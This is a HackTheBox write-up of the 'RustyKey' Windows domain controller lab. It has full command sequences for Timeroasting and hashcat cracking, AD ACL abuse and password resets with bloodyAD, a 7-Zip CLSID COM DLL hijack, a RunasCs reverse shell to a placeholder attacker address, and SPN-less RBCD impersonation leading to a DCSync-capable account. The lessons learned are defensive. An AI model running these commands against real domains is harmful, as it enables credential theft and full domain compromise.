HTB: RustyKey Writeup
RustyKey - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | RustyKey |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.232.127 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
RustyKey is a Windows Domain Controller (rustykey.htb) that enforces Kerberos-only authentication (NTLM disabled), so every step of the chain has to work through Kerberos tickets rather than password/hash auth. The initial foothold comes from a Timeroasting attack against the NTP service to recover a machine account’s cleartext password, which unlocks a chain of Active Directory ACL abuses (AddSelf, AddMember, ForceChangePassword) to get onto the box as a low-privileged domain user. From there, a Group Policy registry ACL over the 7-Zip shell extension CLSID is abused to hijack a COM DLL and catch a shell as a higher-privileged simulated user, and privilege escalation to root.txt is achieved via a SPN-less Resource-Based Constrained Delegation (RBCD) attack that abuses a delegation-management group membership to impersonate a DCSync-capable service account.
TL;DR: Timeroast NTP → crack IT-Computer3$ machine account hash → BloodHound-guided ACL abuse (AddSelf into HelpDesk → ForceChangePassword on bb.morgan → strip Protected Users restriction) → WinRM as bb.morgan (user.txt) → GPO registry ACL abuse of the 7-Zip CLSID (ee.reed → malicious DLL → mm.turner shell) → SPN-less RBCD via dd.ali → S4U2self/U2U impersonation of backupadmin (DCSync rights) → wmiexec as backupadmin (root.txt).
Reconnaissance
Service Enumeration
The environment presented a single Windows Domain Controller at dc.rustykey.htb / 10.129.232.127, resolved and pinned in /etc/hosts:
10.129.232.127 rustykey.htb dc.rustykey.htb dcStandard DC ports were open (Kerberos 88, LDAP 389/3268, SMB 445, WinRM 5985). Initial credentials were supplied for rr.parker. A first pass at SMB/LDAP enumeration with those credentials over NTLM behaved abnormally — consistent with NTLM authentication being disabled domain-wide, forcing every subsequent operation through Kerberos.
# Sync clock against the DC — Kerberos is intolerant of clock skew (KRB_AP_ERR_SKEW)sudo ntpdate -u 10.129.232.127
# Request a TGT for the supplied low-priv user since NTLM is rejectedimpacket-getTGT -dc-ip 10.129.232.127 rustykey.htb/'rr.parker':'8#t5HE8L!W3A'
# Use the ticket cache for all further Kerberos-authenticated actionsexport KRB5CCNAME=rr.parker.ccacheklistWith a valid TGT for rr.parker in hand, SMB/LDAP access via Kerberos (-k) worked normally.
Vulnerability Assessment
- NTLM disabled / Kerberos-only — forces ticket-based workflows for every tool (
impacket-getTGT,-kflags onnxc,bloodhound-python,bloodyAD). - NTP (UDP/123) exposed on a Domain Controller — enables Timeroasting, an attack against MS-SNTP that abuses the fact that a DC signs NTP replies using the requesting computer account’s password hash as an HMAC-MD5 key, with no authentication required to request one. This is a protocol-design weakness rather than a specific CVE.
- Weak machine-account password — RID 1125 (
IT-Computer3$) was crackable againstrockyou.txt. - Excessive AD ACLs —
AddSelf,AddMember, andForceChangePasswordrights chained together give a machine account a path to a WinRM-capable human user. - GPO registry ACL misconfiguration — a
Supportgroup hasWriteKeyon the 7-Zip Shell Extension CLSID registry key, enabling COM DLL hijacking against any user who right-clicks a file (7-Zip context menu). MachineAccountQuota = 0bypassed via SPN-less RBCD — Resource-Based Constrained Delegation doesn’t strictly require creating a new machine account; an existing controlled user account can be substituted, enabling privilege escalation to a DCSync-capable account.
Initial Foothold
Step 1 — Timeroasting the NTP Service
With the rr.parker TGT cached, netexec’s timeroast module was used to request MS-SNTP signed replies for every machine/trust account RID in the domain — this only requires network access to NTP, not any prior authentication, since the DC will happily sign a reply for any RID you ask about:
export KRB5CCNAME=rr.parker.ccachenxc smb dc.rustykey.htb -k -M timeroast | tee timeroast_out.txtThis returned a batch of $sntp-ms$ formatted hashes (one per machine account RID). They were extracted into hashcat’s expected format:
grep -oE '[0-9]+:\$sntp-ms\$[a-f0-9]+\$[a-f0-9]+' timeroast_out.txt > hashes.txtcut -d: -f2- hashes.txt > hashes_nopfx.txtwc -l hashes.txtStep 2 — Cracking with Hashcat (mode 31300)
timecrack.py wasn’t installed on the jump host, so the recovered hashes were cracked directly with hashcat’s native Timeroast mode (-m 31300) against rockyou.txt:
hashcat -m 31300 -a 0 hashes_nopfx.txt /usr/share/wordlists/rockyou.txt \ --potfile-path=/tmp/rustykey/hc.potResult: one hash cracked — RID 1125 → Rusty88!.
Step 3 — Resolving the RID to an Account
export KRB5CCNAME=rr.parker.ccacheimpacket-lookupsid -k -no-pass -target-ip 10.129.232.127 dc.rustykey.htbRID 1125 resolved to RUSTYKEY\IT-Computer3$ — the domain SID matched exactly across both the crack and the SID-brute output, confirming the recovered machine-account credential: IT-Computer3$ : Rusty88!.
Step 4 — BloodHound Collection and ACL Analysis
export KRB5CCNAME=rr.parker.ccachebloodhound-python -d rustykey.htb -u 'IT-Computer3$' -p 'Rusty88!' \ -c all -ns 10.129.232.127 -k --zipRather than standing up the full BloodHound GUI, the collected JSON was parsed directly for outbound ACL edges on IT-Computer3$. This confirmed the intended abuse chain:
IT-Computer3$AddSelf →HelpDeskgroupHelpDeskAddMember →Protected Objectsgroup (itself nested inside the built-inProtected Usersgroup)HelpDeskForceChangePassword →bb.morgan,ee.reed,dd.ali
bb.morgan was further confirmed to be a member of Remote Management Users, meaning a password reset on that account yields WinRM access.
Step 5 — Executing the ACL Chain (bloodyAD)
# 1. Add the compromised machine account to HelpDesk (AddSelf ACE)bloodyAD -u 'IT-Computer3$' -p 'Rusty88!' -d rustykey.htb \ --host dc.rustykey.htb --dc-ip 10.129.232.127 -k \ add groupMember 'helpdesk' 'IT-Computer3$'
# 2. Reset bb.morgan's password (ForceChangePassword ACE, now granted via HelpDesk)bloodyAD -k --dc-ip 10.129.232.127 --host dc.rustykey.htb -d rustykey.htb \ -u 'IT-Computer3$' -p 'Rusty88!' \ set password bb.morgan 'Sol3rHtb!2026'A first attempt to get a TGT for bb.morgan at this point would fail with KDC_ERR_ETYPE_NOSUPP — bb.morgan is a transitive member of the IT group, which sits inside Protected Objects → Protected Users. Built-in Protected Users restrictions block RC4 (NTLM) Kerberos encryption, and this domain’s bb.morgan account only supports RC4. HelpDesk’s AddMember right on Protected Objects is the intended bypass:
# 3. Remove the IT group from Protected Objects to lift the RC4/Protected Users restrictionbloodyAD -d rustykey.htb -k -u 'IT-Computer3$' -p 'Rusty88!' \ --host dc.rustykey.htb --dc-ip 10.129.232.127 \ remove groupMember 'Protected Objects' 'IT'Step 6 — TGT and WinRM as bb.morgan
impacket-getTGT 'rustykey.htb/bb.morgan:Sol3rHtb!2026' -dc-ip 10.129.232.127export KRB5CCNAME=bb.morgan.ccache/etc/krb5.conf was configured for the RUSTYKEY.HTB realm so that evil-winrm could resolve the KDC via Kerberos rather than NTLM:
export KRB5CCNAME=bb.morgan.ccacheevil-winrm -r rustykey.htb -i dc.rustykey.htb*Evil-WinRM* PS C:\Users\bb.morgan\Documents> whoamirustykey\bb.morganuser.txt was retrieved from C:\Users\bb.morgan\Desktop\user.txt.
Privilege Escalation
Lateral Movement — 7-Zip Shell Extension COM Hijack
With interactive access as bb.morgan, the SYSVOL policy share was reviewed for the domain’s default GPO. The GptTmpl.inf security template (SecEdit\GptTmpl.inf) contained a [Registry Keys] ACE granting the Support group WriteKey on:
MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32That CLSID is the 7-Zip Shell Extension, and InprocServer32 is the COM registration entry pointing at the DLL Explorer loads to render the 7-Zip context menu. Any member of Support can repoint that value at an arbitrary DLL, and it will execute in the context of any user who right-clicks a file (the box runs a simulated-user activity that periodically does exactly this).
ee.reed was identified as a Support member and — like bb.morgan — was covered by HelpDesk’s ForceChangePassword right:
# Reset ee.reed via the same ACL abuse path used for bb.morganbloodyAD -k --dc-ip 10.129.232.127 --host dc.rustykey.htb -d rustykey.htb \ -u 'IT-Computer3$' -p 'Rusty88!' \ set password ee.reed '<newpass>'Because ee.reed is denied Network Logon by the same GPO (SeDenyNetworkLogonRight, Interactive-only), a straight WinRM logon wasn’t possible — RunasCs was used from the bb.morgan WinRM session to spawn a process under ee.reed’s interactive token instead:
# From the bb.morgan WinRM session.\RunasCs.exe ee.reed '<newpass>' powershell.exe -r <attacker_ip>:<port>From the resulting ee.reed shell, the CLSID key was repointed at a malicious DLL and the shell trigger was awaited:
reg add "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" ` /ve /t REG_SZ /d "C:\path\to\malicious.dll" /fThe simulated-user activity opens Explorer and triggers the 7-Zip context menu roughly once a minute; a cleanup script also reverts the registry value on the same cadence, so the key had to be re-applied once before the payload fired. The DLL executed as mm.turner, giving a shell as that user.
Privilege Escalation — SPN-less Resource-Based Constrained Delegation
mm.turner was found to be a member of the delegationmanager group, which holds AddAllowedToAct (RBCD write) rights over the Domain Controller’s computer object. Normally this would be exploited by minting a new attacker-controlled machine account and configuring the DC to delegate to it, but the domain’s MachineAccountQuota was 0:
nxc ldap dc.rustykey.htb --use-kcache -M maq# MachineAccountQuota: 0With machine-account creation blocked, the RBCD attack was performed SPN-less, substituting a controlled user account (dd.ali, also covered by HelpDesk’s ForceChangePassword) in place of a computer account:
# From the mm.turner shell — configure the DC to allow delegation from dd.aliSet-ADComputer DC -PrincipalsAllowedToDelegateToAccount dd.ali# Reset dd.ali's password via the same ACL chainbloodyAD -k --dc-ip 10.129.232.127 --host dc.rustykey.htb -d rustykey.htb \ -u 'IT-Computer3$' -p 'Rusty88!' \ set password dd.ali '<newpass>'
# Get a TGT as dd.aliimpacket-getTGT 'rustykey.htb/dd.ali:<newpass>' -dc-ip 10.129.232.127
# Extract the ticket session key — this becomes the "known" RC4 secret for the U2U stepdescribeTicket.py dd.ali.ccache | grep 'Ticket Session Key'
# Set that session key as dd.ali's RC4 password hash, enabling U2U Kerberos authchangepasswd.py 'rustykey.htb/dd.ali:<newpass>@dc.rustykey.htb' -k -newhash <session_key>The Administrator account is flagged sensitive-to-delegation (Cannot Be Delegated), so it can’t be the S4U2self impersonation target. BloodHound instead surfaced backupadmin, a service-style account holding DCSync rights over the domain — a far more direct path to root than Administrator itself:
# S4U2self (U2U) + S4U2proxy: obtain a service ticket to the DC "as" backupadmin,# using dd.ali's RBCD trust relationshipgetST.py -u2u -impersonate backupadmin 'rustykey.htb/dd.ali' -dc-ip 10.129.232.127With a valid service ticket for backupadmin against the DC:
export KRB5CCNAME=backupadmin.ccachewmiexec.py -k -no-pass dc.rustykey.htbC:\Windows\system32>whoamirustykey\backupadminroot.txt was retrieved from the Administrator/root-equivalent context reachable via backupadmin’s DCSync-level privileges.
Attack Chain Summary
NTLM disabled → Kerberos TGT (rr.parker) → Timeroast NTP (netexec -M timeroast) → hashcat -m 31300 cracks RID 1125 → IT-Computer3$ : Rusty88! → lookupsid confirms RID 1125 = IT-Computer3$ → BloodHound: IT-Computer3$ --AddSelf--> HelpDesk --AddMember--> Protected Objects HelpDesk --ForceChangePassword--> bb.morgan / ee.reed / dd.ali → bloodyAD: join HelpDesk, reset bb.morgan, strip IT from Protected Objects (RC4 unblock) → WinRM as bb.morgan → USER.TXT → SYSVOL GptTmpl.inf: Support group WriteKey on 7-Zip CLSID InprocServer32 → reset ee.reed, RunasCs interactive shell, hijack CLSID DLL → simulated user triggers 7-Zip → shell as mm.turner → mm.turner in delegationmanager (AddAllowedToAct on DC), MAQ=0 → SPN-less RBCD via dd.ali → describeTicket session key → changepasswd -newhash → getST -u2u -impersonate backupadmin → wmiexec as backupadmin (DCSync rights) → ROOT.TXTTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
impacket-getTGT | Kerberos TGT acquisition (Kerberos-only domain) |
netexec (nxc) | SMB/LDAP auth checks, timeroast module, MAQ check |
hashcat (-m 31300) | Cracking Timeroast NTP hashes |
impacket-lookupsid | RID → account name resolution |
bloodhound-python | AD ACL/relationship collection |
bloodyAD | ACL abuse execution (group membership, password resets) |
evil-winrm | Kerberos-authenticated WinRM shell |
RunasCs | Interactive-token shell for network-logon-denied accounts |
Set-ADComputer | Configuring msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD) |
impacket-describeTicket | Extracting Kerberos ticket session key |
impacket-changepasswd | Setting an account’s NTLM hash directly (-newhash) |
impacket-getST | S4U2self/U2U + S4U2proxy ticket request (SPN-less RBCD) |
impacket-wmiexec | Remote command execution as impersonated account |
Key Learnings
Techniques Practiced
- Timeroasting (MS-SNTP machine-account hash extraction and cracking)
- Kerberos-only domain operation (TGT caching,
KRB5CCNAME,krb5.conftuning) - BloodHound-driven ACL abuse:
AddSelf,AddMember,ForceChangePassword - Protected Users / RC4 restriction bypass via group membership manipulation
- Group Policy (
GptTmpl.inf) registry ACL enumeration - COM/CLSID DLL hijack against a scheduled/simulated user action
- SPN-less Resource-Based Constrained Delegation (RBCD) under
MachineAccountQuota = 0 - S4U2self + U2U + S4U2proxy Kerberos delegation abuse
- DCSync-adjacent privilege identification via BloodHound when the “obvious” target (Administrator) is delegation-protected
Lessons Learned
- An NTP listener on a Domain Controller is not a “boring” service — Timeroasting turns it into an unauthenticated hash-harvesting endpoint for every machine/trust account in the domain.
- Small, individually-reasonable ACEs (
AddSelf,AddMember,ForceChangePassword) compose into full account takeover; BloodHound’s outbound-edge view is essential to see the composed path rather than each ACE in isolation. - Protected Users group membership is not immutable protection if an attacker holds write access to the group that contains it — removing a nested group can silently lift RC4/NTLM restrictions.
- GPO templates deployed to SYSVOL are readable by any authenticated domain user and can carry non-obvious registry ACL grants (like the 7-Zip CLSID here) that create abusable local privilege paths.
MachineAccountQuota = 0blocks the textbook RBCD attack but not RBCD itself — any existing account the attacker controls can be substituted as the delegation principal.- Marking an account “sensitive to delegation” only protects that specific account; if another privileged account (here
backupadminwith DCSync) exists without the same flag, the delegation attack simply retargets it.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- kavigihan, “RustyKey,” HackTheBox Writeup (Machine Author: EmSec), 7 November 2025 — used for explanatory context on Timeroasting mechanics, GPO/SDDL ACE interpretation, and the SPN-less RBCD / S4U2self+U2U delegation technique.